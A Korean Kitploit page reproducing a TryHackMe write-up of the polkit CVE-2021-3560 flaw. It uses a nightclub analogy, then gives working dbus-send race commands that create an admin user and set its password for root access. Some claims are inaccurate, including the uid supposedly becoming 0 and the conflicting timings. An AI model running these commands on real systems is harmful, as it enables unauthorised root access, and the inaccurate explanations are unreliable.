Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
polkit-CVE-2021-3560_writeup — 초보자 친화적인 TryHackMe 쉬운 레벨 모듈- polkit:CVE-2021-3560 분석 글 | Kitploit
도구/GitHubGitHub/realatharva15/polkit-cve-2021-3560_writeup
Privilege EscalationVulnerability AnalysisExploitationCTFLearning & EducationBinary ExploitationLabs & Practice
GitHubrealatharva15/polkit-cve-2021-3560_writeup

polkit-CVE-2021-3560_writeup

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

초보자 친화적인 TryHackMe 쉬운 레벨 모듈- polkit:CVE-2021-3560 분석 글

저장소 보기
17개월 전아직 검토되지 않음

Try Hack Me - Polkit:CVE-2021-3560

작성자: Atharva Bordavekar

난이도: 정보

포인트: 32

취약점: CVE-2021-3560

먼저 polkit 버전을 확인하여 더 나은 통찰력을 얻을 것입니다.

root@kitploit:~
apt list --installed | grep policykit-1

policykit-1/focal,now 0.105-26ubuntu1 amd64 [installed,upgradable to: 0.105-26ubuntu1.1]

저는 deepseek를 사용하여 policy kit 개념을 더 잘 이해할 수 있도록 간단한 비유를 만들었습니다.

나이트클럽 경비원 비유

나이트클럽: Polkit 시스템

나이트클럽 (VIP 구역): 권한이 필요한 시스템 서비스/작업 (드라이브 마운트, 소프트웨어 설치, 네트워크 관리)

문 앞의 경비원: Polkit 자체, 모든 진입 시도 차단

손님 목록 / 드레스 코드: Polkit 정책 규칙 (/usr/share/polkit-1/actions/ 및 /etc/polkit-1/rules.d/에 저장)

VIP 패스 / 클럽 멤버십: 특정 Linux 그룹 (예: wheel, sudo, storage, network)에 속하는 것

신분 확인: Polkit이 사용자 신원과 그룹 멤버십 확인

소유자 / 관리자 Root: 사용자 (모든 것에 무제한 접근 권한 있음)

VIP 구역에 들어가려는 일반 손님: 권한 명령을 실행하려는 일반 사용자/프로그램

규칙 책을 참조하는 경비원: Polkit이 해당 특정 작업에 대해 설정된 정책 확인

특별 팔찌/비밀번호를 요구하는 경비원: 인증 프롬프트 (비밀번호 요청)

확인 없이 통과시키는 경비원: 신뢰할 수 있는 사용자/그룹에 대해 인증 없이 작업 허용

polkit은 systemd의 sudo입니다

이제 교묘한 요청을 통해 이 나이트클럽 경비원을 악용하여 dbus 요청에 대한 자격 증명 확인을 우회할 수 있습니다.

이전과 동일한 나이트클럽 경비원 비유를 사용하여 이해해 봅시다.

일반적인 과정은 다음과 같습니다: 경비원이 신분증을 확인하고, 그 사람이 특정 작업을 수행할 충분한 권한이 있으면 경비원이 허용합니다. 그러나 이를 악용하기 위해 공격자는 클럽 비서에게 "나를 모든 접근 권한이 있는 클럽 매니저로 만들어 줘"라는 더미 요청을 보냅니다. 이제 메시지가 클럽 비서에게 도달하기까지 11밀리초가 있으며, 당연히 비서는 이 요청을 수락하지 않을 것입니다. 따라서 우리는 비서에게 도달하는 시간의 절반, 즉 0.5밀리초 내에 요청을 취소해야 합니다. 이제 경비원이 누가 보냈는지 확인하기 전에 권한 상승 요청이 적힌 쪽지를 가로챕니다. 우리가 가로채면 경비원은 누가 했는지 알 수 없습니다. 이제 쪽지에는 고유 번호가 있으며, 이 번호는 이제 고아가 됩니다. 시스템에 고유 번호는 존재하지만 원래 쪽지는 사라졌습니다. 이 상황을 처리하는 기본 프로토콜은 매뉴얼에 따라 경비원이 메시지를 클럽 소유자가 보낸 것으로 간주하는 것입니다. 다음과 같이 진행됩니다: 경비원이 "이봐, 이 메시지 #12345를 누가 보냈어?"라고 묻습니다. dbus-daemon이 기록을 확인하고 "#12345의 추적은 로그에 있지만 실제 메시지를 찾을 수 없습니다...ERROR"라고 알려줍니다. 따라서 dbus-daemon은 누가 보냈는지 모른다고 말하는 대신 오류 코드를 반환합니다. 경비원의 교육 매뉴얼에는 버그가 있습니다. 교육 매뉴얼에는 특정 메시지를 누가 보냈는지 모르고 ID 확인 중 오류가 발생하면 클럽 소유자(uid 0)로부터 온 것으로 간주하라고 나와 있습니다. 경비원은 비서에게 이 메시지가 클럽 소유자로부터 왔다고 알리며, 비록 프록시일 뿐이지만 비서가 이를 승인하고, 그런 다음 클럽 비서는 공격자를 위해 새로운 클럽 매니저 계정을 만듭니다. 이제 공격자는 root 사용자와 동등한 권한을 갖게 됩니다.

이제 즉시 attacker라는 사용자 이름과 비밀번호 Expl01ted를 가진 사용자를 얻을 명령어를 살펴보겠습니다. 명령어부터 시작합니다:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!

이 명령어는 attacker라는 이름의 사용자를 만듭니다. 경비원(polkit)이 메시지를 읽지 못하도록 0.5밀리초 후에 바로 중단합니다. attacker 사용자는 아직 root 자격 증명이 없습니다.

attacker 사용자에게 필요한 root 권한을 부여하기 위해 다음 명령어를 사용합니다:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
root@kitploit:~
id attacker

이제 attacker 사용자의 uid가 1000인 것을 확인할 수 있습니다.

여기서 원래 권한이 없었던 attacker 사용자의 사용자 ID를 추가합니다. 이렇게 하면 attacker 사용자의 id가 1000에서 0으로 변경됩니다.

root@kitploit:~
id attacker

이제 attacker 사용자의 uid가 1000에서 0으로 변경된 것을 확인할 수 있습니다. 이는 우리가 최고 권한을 가진 root 사용자 그룹에 속한다는 의미입니다. 여기서 직접 root로 명령을 실행하거나, 필요에 따라 root 셸로 전환할 수 있습니다.

root@kitploit:~
sudo su```
도구 다운로드